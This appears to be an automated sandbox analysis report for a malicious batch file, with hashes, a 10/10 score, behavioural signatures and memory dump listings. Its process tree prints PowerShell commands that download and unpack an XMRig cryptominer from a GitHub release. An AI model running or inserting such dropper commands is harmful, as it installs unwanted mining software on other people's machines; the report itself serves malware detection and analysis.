04cf0194fb37bcc19b2b63904d84a74c720b64b7938620fdf971bb98a8f47ccd

Analysis

max time kernel
991s
max time network
1587s
platform
windows10-1703_x64
resource
win10-20231220-en
resource tags

arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
submitted
25/12/2023, 07:36

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General

Target

tesy - Copy (14).bat
Size

608B
MD5

727c8da0478af118c957ae60f7161cab
SHA1

cf18105b8659e93bbd2824fa35ef1bae7b395301
SHA256

97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
SHA512

d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	2072	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2072	powershell.exe
2072	powershell.exe
2072	powershell.exe
2960	powershell.exe
2960	powershell.exe
2960	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2072	powershell.exe
Token: SeDebugPrivilege	2960	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4476 wrote to memory of 2072	4476	cmd.exe	15
PID 4476 wrote to memory of 2072	4476	cmd.exe	15
PID 4476 wrote to memory of 2960	4476	cmd.exe	76
PID 4476 wrote to memory of 2960	4476	cmd.exe	76

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2072

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2960

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
c4bada70fdbff509b2c911585a5d60c3

SHA1
2ea1ca034c67a1af2a048e619ceba156efe00e57

SHA256
85ca56b74e2263e05e86198be5f9db77a4fc1b3393754d9d905849b27c911e66

SHA512
2db5b4d22c8125b8f679cda0dfba0da2838112ca838f10a4cdfbafe17548936874d3aa2ad22ca6f2b51fdf5b78f76b0078ec1437bcf6b3adea2c7d19d4485246

Download Submit
memory/2072-25-0x00000216D2010000-0x00000216D2020000-memory.dmp

Filesize
64KB

Download
memory/2072-42-0x00000216D2010000-0x00000216D2020000-memory.dmp

Filesize
64KB

Download
memory/2072-4-0x00000216D1F20000-0x00000216D1F42000-memory.dmp

Filesize
136KB

Download
memory/2072-8-0x00000216D2010000-0x00000216D2020000-memory.dmp

Filesize
64KB

Download
memory/2072-46-0x00007FFE061F0000-0x00007FFE06BDC000-memory.dmp

Filesize
9.9MB

Download
memory/2072-10-0x00000216D2120000-0x00000216D2196000-memory.dmp

Filesize
472KB

Download
memory/2072-6-0x00007FFE061F0000-0x00007FFE06BDC000-memory.dmp

Filesize
9.9MB

Download
memory/2072-40-0x00007FFE061F0000-0x00007FFE06BDC000-memory.dmp

Filesize
9.9MB

Download
memory/2072-41-0x00000216D2010000-0x00000216D2020000-memory.dmp

Filesize
64KB

Download
memory/2072-9-0x00000216D2010000-0x00000216D2020000-memory.dmp

Filesize
64KB

Download
memory/2960-52-0x00007FFE061F0000-0x00007FFE06BDC000-memory.dmp

Filesize
9.9MB

Download
memory/2960-78-0x00000217F49E0000-0x00000217F49F0000-memory.dmp

Filesize
64KB

Download
memory/2960-53-0x00000217F49E0000-0x00000217F49F0000-memory.dmp

Filesize
64KB

Download
memory/2960-148-0x00000217F49E0000-0x00000217F49F0000-memory.dmp

Filesize
64KB

Download
memory/2960-151-0x00007FFE061F0000-0x00007FFE06BDC000-memory.dmp

Filesize
9.9MB

Download
memory/2960-54-0x00000217F49E0000-0x00000217F49F0000-memory.dmp

Filesize
64KB

Download